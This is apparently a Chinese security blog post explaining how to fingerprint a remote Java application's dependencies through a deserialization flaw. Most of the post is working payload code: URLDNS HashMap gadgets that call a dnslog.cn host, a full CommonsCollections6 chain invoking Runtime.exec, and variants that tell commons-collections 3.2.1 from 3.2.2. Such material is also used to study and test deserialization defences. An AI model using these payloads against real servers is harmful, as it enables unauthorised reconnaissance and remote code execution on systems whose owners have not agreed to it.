dnslog检测远程依赖

有时候我们发现远程有一个反序列化的漏洞,但是我们不知道有什么依赖,如果单纯的盲打反序列化链就要一个个试,如果知道依赖了以后我们也方便本地构造payload

原理

普通的dnslog请求payload

        URL url = new URL("http://aaaa.fnht9d.dnslog.cn");
        HashMap hashMap = new HashMap();
        Method putVal = hashMap.getClass().getDeclaredMethod("putVal", new Class[]{int.class, Object.class, Object.class, boolean.class, boolean.class});
        putVal.setAccessible(true);
        putVal.invoke(hashMap,new Object[]{0,url,"a",false,false});
        serialize(hashMap);

HashMap是个key value得键值对,然后会调用hash(key)来触发dnslog,之前value我们都是随便传的,但是实际上我们可以利用这个value来探测依赖
我们这里随便传入一个本地才有的class,demo

 public static HashMap getURLDNSGadget(String urls, Class clazz) throws Exception{
        HashMap hashMap = new HashMap();
        URL url = new URL(urls);
        Method putVal = hashMap.getClass().getDeclaredMethod("putVal", new Class[]{int.class, Object.class, Object.class, boolean.class, boolean.class});
        putVal.setAccessible(true);
        putVal.invoke(hashMap,new Object[]{0,url,clazz,false,false});
        return hashMap;
    }

HashMap test=getURLDNSGadget("http://testaa.fnht9d.dnslog.cn",demo.class);
        serialize(test);

我们可以看到HashMap的readobejct里面,他是先把对应的key value反序列化出来再调用hash这个函数触发dnslog,如果value反序列化失败了,那么就不会有log了
dnslog检测远程依赖_第1张图片
所以这里可以看到远程报错,然后就没有dnslog请求

如果传入一个存在的类,比如说jdk里面自带的Map,就可以发现成功获取到dnslog

  HashMap test=getURLDNSGadget("http://testaa.fnht9d.dnslog.cn",Map.class);
        serialize(test);

dnslog检测远程依赖_第2张图片

cc链依赖

以cc6为例

ConstantTransformer constantTransformer=new ConstantTransformer(Runtime.class);
        InvokerTransformer getMethod = new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null});
        InvokerTransformer invokeMethod = new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null});
        InvokerTransformer execMethod = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"code"});
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer,getMethod,invokeMethod,execMethod});
        Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"b");
        HashMap hashMap = new HashMap();
        Method putVal = hashMap.getClass().getDeclaredMethod("putVal", new Class[]{int.class, Object.class, Object.class, boolean.class, boolean.class});
        putVal.setAccessible(true);
        putVal.invoke(hashMap,new Object[]{0,tiedMapEntry,"a",false,false});
        serialize(hashMap);
        deserialize();

这里面可以看到有ConstantTransformer InvokerTransformer ChainedTransformer LazyMap TiedMapEntry commons-collection3.2.1里面的依赖
HashMap jdk的依赖
一般我们探测的原则就是非jdk自带的依赖,在这里我们只需要探测是否有commons-collection3.2.1即可

 HashMap test=getURLDNSGadget("http://testaa.fnht9d.dnslog.cn",InvokerTransformer.class);
        serialize(test);

但是我们这样写有一个问题,如果我们本地生成序列化payload的时候有3.2.1 4版本的,很容易分不清到底是哪个版本
所以我们调整一下,下面这种写法就可以比较清晰的看到具体的版本依赖了

public static HashMap getURLDNSGadget(String urls, String clazzName) throws Exception{
        HashMap hashMap = new HashMap();
        URL url = new URL(urls);
        Method putVal = hashMap.getClass().getDeclaredMethod("putVal", new Class[]{int.class, Object.class, Object.class, boolean.class, boolean.class});
        putVal.setAccessible(true);
        putVal.invoke(hashMap,new Object[]{0,url,Class.forName(clazzName),false,false});
        return hashMap;
    }

HashMap test=getURLDNSGadget("http://testaa.fnht9d.dnslog.cn","org.apache.commons.collections.functors.ChainedTransformer");
        serialize(test);

当然细心的朋友可能会问,如果只是类,就无法探测是commons-collection 3.2.1还是commons-collection 3.2.2,那么再调整一下

public static HashMap getURLDNSGadget(String urls, Object object) throws Exception{
        HashMap hashMap = new HashMap();
        URL url = new URL(urls);
        Method putVal = hashMap.getClass().getDeclaredMethod("putVal", new Class[]{int.class, Object.class, Object.class, boolean.class, boolean.class});
        putVal.setAccessible(true);
        putVal.invoke(hashMap,new Object[]{0,url,object,false,false});
        return hashMap;
    }
HashMap test=getURLDNSGadget("http://testaaaaaa.fnht9d.dnslog.cn",new InvokerTransformer("a",null,null));
        serialize(test);

如果远程是commons-collection.3.2.2以上,就会报错,收不到dnslog请求

你可能感兴趣的:(java)